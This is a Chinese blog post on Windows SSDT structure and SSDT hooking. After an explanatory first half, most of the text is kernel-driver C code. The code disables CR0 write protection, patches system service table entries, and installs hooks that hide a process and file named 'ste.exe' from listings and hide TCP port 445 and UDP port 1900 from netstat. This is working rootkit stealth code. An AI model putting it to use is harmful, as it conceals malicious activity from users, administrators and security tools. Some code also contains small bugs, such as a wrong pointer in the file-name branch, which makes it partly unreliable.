SSDT Hook技术详解与应用

SSDT Hook技术详解与应用

一、SSDT简介

1、什么是SSDT

​ SSDT 的全称是 System Services Descriptor Table,系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。

​ 在 NT 4.0 以上的 Windows 操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层得 Kernel32.dll 中的系统调用,而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用,并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件,包括内核和执行体层)是导出的,而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出,而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。

2、SSDT结构

​ 下图是IDA分析的ntoskrnl.exe中导出的KeServiceDescriptorTable 结构。

img

​ 下面是KeServiceDescriptorTable 的具体含义。

~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

​ 有了上面的介绍后,我们可以简单的将 KeServiceDescriptor 看做是一个数组了(其实质也就是个数组),**在应用层 ntdll.dll 中的 API 在这个系统服务描述表(SSDT)中都存在一个与之相对应的服务,当我们的应用程序调用 ntdll.dll 中的 API 时,最终会调用内核中与之相对应的系统服务,由于有了 SSDT,所以我们只需要告诉内核需要调用的服务所在 SSDT 中的索引就 OK 了,然后内核根据这个索引值就可以在 SSDT 中找到相对应的服务了,然后再由内核调用服务完成应用程序 API 的调用请求即可。基本结构可以参考下图:

ssdt1

3、应用层调用 Win32 API 的完整执行流程

​ 有了上面的 SSDT 基础后,我们再来看一下在应用层调用 Win32 API(这里主要指的是 ntdll.dll 中的 API)的完整流程,这里我们主要是分析 ntdll.dll 中的 NtQuerySystemInformation 这个 API 的调用流程。

(PS:Windows 任务管理器即是通过这个 API 来获取到系统的进程等等信息的)。

ring03

再给出这些个 API 的基本的调用流程

ring03-2

​ 实质上,在 Windows 操作系统中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函数,可以通过下面的截图看出,这两个函数的入口地址指向同一区域,他们的函数入口地址都是一样的 。

​ 众所周知 Ntdll.dll 中的 API 都只不过是一个简单的包装函数而已,当 Kernel32.dll 中的 API 通过 Ntdll.dll 时,会完成参数的检查,再调用一个中断(int 2Eh 或者 SysEnter 指令),从而实现从 Ring3 进入 Ring0 层,并且将所要调用的服务号(也就是在 SSDT 数组中的索引值)存放到寄存器 EAX 中,并且将参数地址放到指定的寄存器(EDX)中,再将参数复制到内核地址空间中,再根据存放在 EAX 中的索引值来在 SSDT 数组中调用指定的服务 。

下面来看 ntoskrnl.exe 中的 ZwQuerySystemInformation:

ZwQuerySystemInformation

​ 在上面的这幅截图中,可以看到在 Ring0 下的 ZwQuerySystemInformation 将 0ADh 放入了寄存器 eax 中,然后调用了系统服务分发函数 KiSystemService,而这个 KiSystemService 函数则是根据 eax 寄存器中的索引值,然后再 SSDT 数组中找到索引值为 eax 寄存器中存放的值得那个 SSDT 项,最后就是根据这个 SSDT 项中所存放的系统服务的地址来调用这个系统服务。比如在这里就是调用 KeServiceDescriptorTable[0ADh] 处所保存的地址所对应的系统服务 。也就是调用 Ring0 下的 NtQuerySystemInformation 了 。至此,在应用层中调用 NtQuerySystemInformation 的全部流程也就结束了 。

二、SSDT Hook原理

1、SSDT Hook原理简介

​ 有了上面的这部分基础后,就可以来看 SSDT HOOK 的原理了,其实 SSDT Hook 的原理是很简单的,从上面的分析中,我们可以知道在 SSDT 这个数组中,保存了系统服务的地址,比如对于 Ring0 下的 NtQuerySystemInformation 这个系统服务的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的话,我们就可以将这个 KeServiceDescriptorTable[0ADh] 下保存的服务地址替换掉,将我们自己的 Hook 处理函数的地址来替换掉原来的地址,这样当每次调用 KeServiceDescriptorTable[0ADh]时就会调用我们自己的这个 Hook 处理函数了。

下面截图是SSDT Hook之前:

ssdthook1

​ 下面的截图则是 SSDT Hook 之后,可以看到将 SSDT 中的服务地址修改为 MyHookNtQuerySystemInformation 了,这样的话,每次系统调用 NtQuerySystemInformation 这个系统服务时,实质上调用的就是MyHookNtQuerySystemInformation 了,而我们为了保证系统的稳定性(至少不让其崩溃),一般会在 MyHookNtQuerySystemInformation 中调用系统中原来的服务,也就是 NtQuerySystemInformation。

ssdthook2

下面来看一下备份、修改、还原SSDT的具体代码:

//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE  |  KSERVICE_TABLE_DESCRIPTOR 定义                        //
//                                                                                     //
//Descripion: 定义SSDT表结构与获取函数索引值和地址的基本方法                              //
//                                                                                     //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{
    PULONG  ServiceTableBase;        // SSDT (System Service Dispatch Table)的基地址
    PULONG  ServiceCounterTableBase; // 包含 SSDT 中每个服务被调用的次数
    ULONG   NumberOfService;     // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
    ULONG   ParamTableBase;          // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
    KSYSTEM_SERVICE_TABLE   ntoskrnl; // ntoskrnl.exe 的服务函数
    KSYSTEM_SERVICE_TABLE   win32k;   // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)
    KSYSTEM_SERVICE_TABLE   notUsed1;
    KSYSTEM_SERVICE_TABLE   notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))

#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用来保存 SSDT 中所有的旧的服务函数的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];

//=====================================================================================//
//Name: VOID DisableWriteProtect()                                                     //
//                                                                                     //
//Descripion: 用来去掉内存的可写属性,从而实现内存只读                                 //
//                                                                                     //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{
    _asm
    {
        push eax
        mov eax, oldAttr
        mov cr0, eax
        pop eax
        sti;
    }
}

//=====================================================================================//
//Name: VOID EnableWriteProtect()                                                      //
//                                                                                     //
//Descripion: 用来去掉内存的只读保护,从而实现可以写内存                               //
//                                                                                     //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{
    ULONG uAttr; 
    _asm 
    { 
        cli;
        push eax
        mov  eax, cr0; 
        mov  uAttr, eax; 
        and  eax, 0FFFEFFFFh; // CR0 16 BIT = 0 
        mov  cr0, eax; 
        pop eax
     }; 
   //保存原有的 CRO 属性 
    *pOldAttr = uAttr; 
}

//=====================================================================================//
//Name: VOID BackupSysServicesTable()                                                  //
//                                                                                     //
//Descripion: 备份 SSDT 中原有服务的地址,因为在解除 Hook 时需要还原 SSDT 中原有地址   //
//                                                                                     //
//=====================================================================================//
VOID BackupSysServicesTable()
{
    ULONG i;
    for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)
    {
      oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];
    }
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 实现 Hook 的安装,主要是在 SSDT 中将服务地址替换为新服务地址                //
//                                                                                     //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{
    ULONG uOldAttr = 0;
    EnableWriteProtect(&uOldAttr);
    SYSCALL_FUNCTION(oldService) = newService;
    DisableWriteProtect(uOldAttr);
    return STATUS_SUCCESS;
 }

//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 实现 Hook 的解除,主要是在 SSDT 中用备份下的服务地址来替换掉 oldService  //
//                                                                                     //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{
    ULONG uOldAttr = 0;
    EnableWriteProtect(&uOldAttr);
    SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];
    DisableWriteProtect(uOldAttr);
    return STATUS_SUCCESS;
}

2、进程隐藏与保护

NTSTATUS HookNtQuerySystemInformation (
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength)
{
    NTSTATUS rtStatus=STATUS_SUCCESS;
    NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];
    rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
    if(NT_SUCCESS(rtStatus))
    {
        if(SystemProcessInformation==SystemInformationClass)
        {
            PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;
            PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
            UNICODE_STRING hideProcessName;
            RtlInitUnicodeString(&hideProcessName,L"ste.exe");
            while(pCurrProcessInfo != NULL)
            {
                //获取当前遍历的 SYSTEM_PROCESS_INFORMATION 节点的进程名称和进程 ID
                ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;
                UNICODE_STRING strTmpProcessName;
                //RtlInitUnicodeString(&strTmpProcessName,L"");
                strTmpProcessName = pCurrProcessInfo->ImageName;
                //判断当前遍历的这个进程是否为需要隐藏的进程
                if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))
                {

                    if(pPrevProcessInfo)
                    {
                        if(pCurrProcessInfo->NextEntryOffset)
                        {
                             //将当前这个进程(即要隐藏的进程)从 SystemInformation 中摘除(更改链表偏移指针实现)
                            pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;
                        }
                        else
                        {
                            //说明当前要隐藏的这个进程是进程链表中的最后一个
                            pPrevProcessInfo->NextEntryOffset = 0;
                        }
                    }
                    else
                    {
                         //第一个遍历到得进程就是需要隐藏的进程
                         if(pCurrProcessInfo->NextEntryOffset)
                             (PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;
                         else
                             SystemInformation = NULL;
                    }
                }
                //遍历下一个 SYSTEM_PROCESS_INFORMATION 节点
                pPrevProcessInfo = pCurrProcessInfo;
                //遍历结束
                if(pCurrProcessInfo->NextEntryOffset)
                    pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);
                else
                    pCurrProcessInfo=NULL;


            }
        }
    }
    return rtStatus;
}

3、文件隐藏与保护

NTSTATUS HookZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent,
    IN PIO_APC_ROUTINE IoApcRoutine,
    IN PVOID IoApcContext,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN ReturnOnlyOneEntry,
    IN PUNICODE_STRING FileName,
    IN BOOLEAN RestartQuery)
{
    NTSTATUS ntStatus;
    LPFILE_NAMES_INFORMATION fileCurr;
    LPFILE_NAMES_INFORMATION filePrev;
    PFILE_BOTH_DIR_INFORMATION pFileInfo;
    PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;
    BOOLEAN lastOne;
    ULONG left;
    ULONG pos;
    WCHAR * hideFileName=L"ste.exe";
    ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];
    ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(
        hFile,
        hEvent,
        IoApcRoutine,
        IoApcContext,
        pIoStatusBlock,
        FileInformationBuffer,
        FileInformationBufferLength,
        FileInfoClass,
        ReturnOnlyOneEntry,
        FileName,
        RestartQuery);
    if(!bHideFile)
        return ntStatus;
    //RtlInitUnicodeString(&hideFileName,L"ste.exe");
    if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)
    {
        pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
        pPrevFileInfo=NULL;
        do {

            lastOne=!(pFileInfo->NextEntryOffset);
            //RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);
            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
            {
                if(lastOne)
                {
                    if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
                        ntStatus=0x80000006;
                    else
                        pPrevFileInfo->NextEntryOffset=0;
                }
                else
                {
                    pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);
                    left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;
                    RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);
                    continue;
                }
            }
            pPrevFileInfo=pFileInfo;
            pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);
            //fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
        } while(!lastOne);
    }
    if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)
    {
        fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
        do 
        {
            lastOne=!(fileCurr->NextEntryOffset); //取偏移
            //fileNameLength=fileCurr->FileNameLength; //取长度
            //RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);
            if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
            {
                if(lastOne)
                {
                    if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)
                        ntStatus=0x80000006; //隐藏
                    else
                        filePrev->NextEntryOffset=0;
                }
                else
                {
                    //移动文件偏移
                    pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);
                    left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;
                    RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);
                    continue;
                }
            }
            filePrev=fileCurr;
            fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
        }
        while(!lastOne);
    }
    return ntStatus;
}

4、端口隐藏

NTSTATUS HookZwDeviceIoControlFile(
    IN HANDLE FileHandle,
    IN HANDLE Event,
    IN PIO_APC_ROUTINE ApcRoutine,
    IN PVOID ApcContext,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG IoControlCode,
    IN PVOID InputBuffer,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer,
    IN ULONG OutputBufferLength)
{

    NTSTATUS rtStatus=STATUS_SUCCESS;
    TCPAddrEntry* TcpTable;
    TCPAddrExEntry* TcpExTable;
    UDPAddrEntry* UdpTable;
    UDPAddrExEntry* UdpExTable;
    ULONG numconn;
    ULONG i;
    ULONG RetLen;

    UCHAR buff[512];
    POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;
    ANSI_STRING ObjectNameAnsi;
    PUCHAR InBuff;


    ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];
    rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (
        FileHandle,
        Event,
        ApcRoutine,
        ApcContext,
        IoStatusBlock,
        IoControlCode,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength);
    if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode
    {
        if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))
        {
            RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
            if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)
            {
                if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong
                    return rtStatus;
                //对于TCP查询,输入缓冲的特征是 InputBuffer[0]为0x00,如果OutputBuffer中已经有了端口数据,则InputBuffer[17]为0x01,
                //如果是扩展结 构,则InputBuffer[16]为0x02。对于UDP查询,InputBuffer[0]就为0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查询是一样的。

//-------------------------------------------------------TCP----------------------------------------------------------------------------
                if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口
                {
                    if (InBuff[16]!=0x02) //非扩展结构
                    {
                        numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
                        TcpTable = (TCPAddrEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
                                memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
                    }
                    if(InBuff[16]==0x02)//扩展结构
                    {
                        numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
                        TcpExTable = (TCPAddrExEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )
                            if(TcpExTable[i].pid==0)
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));
                                memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
                    }
                }
//-----------------------------------------------------------UDP---------------------------------------------------------------
                if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口
                {
                    if (InBuff[16]!=0x02) //非扩展结构
                    {
                        numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);
                        UdpTable = (UDPAddrEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));
                                memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);
                    }
                    if(InBuff[16]==0x02)//扩展结构
                    {
                        numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);
                        UdpExTable = (UDPAddrExEntry*)OutputBuffer;
                        for( i=0; i<numconn; i++ )
                        {
                            if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )
                            {
                                //DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));
                                memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );
                                numconn--;
                                i--;
                            }
                        }
                        IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);
                    }
                }
            }

        }
    }
    return rtStatus;
}
  • 7
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值